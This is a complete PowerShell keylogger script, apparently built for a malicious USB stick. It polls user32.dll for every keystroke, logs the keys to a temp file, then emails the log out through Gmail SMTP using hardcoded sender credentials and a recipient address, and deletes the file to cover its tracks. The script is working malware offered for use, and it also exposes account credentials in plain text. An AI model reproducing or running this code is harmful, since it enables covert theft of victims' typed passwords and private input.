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1function Start-KeyLogger($Path="$env:temp\keylogger.txt")
2{
3  # Signatures for API Calls
4  $signatures = @'
5[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
6public static extern short GetAsyncKeyState(int virtualKeyCode);
7[DllImport("user32.dll", CharSet=CharSet.Auto)]
8public static extern int GetKeyboardState(byte[] keystate);
9[DllImport("user32.dll", CharSet=CharSet.Auto)]
10public static extern int MapVirtualKey(uint uCode, int uMapType);
11[DllImport("user32.dll", CharSet=CharSet.Auto)]
12public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
13'@
14
15  # load signatures and make members available
16  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
17
18  # create output file
19  $null = New-Item -Path $Path -ItemType File -Force
20
21  try
22  {
23    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
24   #please specify time and default is 30 seconds
25    $time = 0
26    while($time -lt 3000) {
27
28    $time
29    $time++
30      Start-Sleep -Milliseconds 2
31
32      # scan all ASCII codes above 8
33      for ($ascii = 9; $ascii -le 254; $ascii++) {
34        # get current key state
35        $state = $API::GetAsyncKeyState($ascii)
36
37        # is key pressed?
38        if ($state -eq -32767) {
39          $null = [console]::CapsLock
40
41          # translate scan code to real code
42          $virtualKey = $API::MapVirtualKey($ascii, 3)
43
44          # get keyboard state for virtual keys
45          $kbstate = New-Object Byte[] 256
46          $checkkbstate = $API::GetKeyboardState($kbstate)
47
48          # prepare a StringBuilder to receive input key
49          $mychar = New-Object -TypeName System.Text.StringBuilder
50
51          # translate virtual key
52          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
53
54          if ($success)
55          {
56            # add key to logger file
57            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
58          }
59        }
60      }
61    }
62  }
63  finally
64  {
65    # please specify your email info and don't forgot to enable less secured apps in gmail
66
67    $data = Get-Content "$Path"
68    $emailto = 'manueyyy@gmail.com'
69    $email = 'alienexe199702@gmail.com'
70    $SMTPServer = 'smtp.gmail.com'
71    $SMTPPort = '587'
72    $Password = 'AlienExe'
73    $subject = 'Diese Nachricht wurde mit einem Modifizierten USB-Stick gesendet'
74    $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
75    $smtp.EnableSSL = $true
76    $smtp.Credentials = New-Object System.Net.NetworkCredential($email, $Password);
77    $smtp.Send($email, $emailto, $subject, $data);
78    Remove-Item $path
79
80  }
81}
82
83# records all key presses until script is aborted by pressing CTRL+C
84# will then open the file with collected key codes
85Start-KeyLogger